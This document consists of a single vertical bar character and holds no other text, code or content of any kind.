|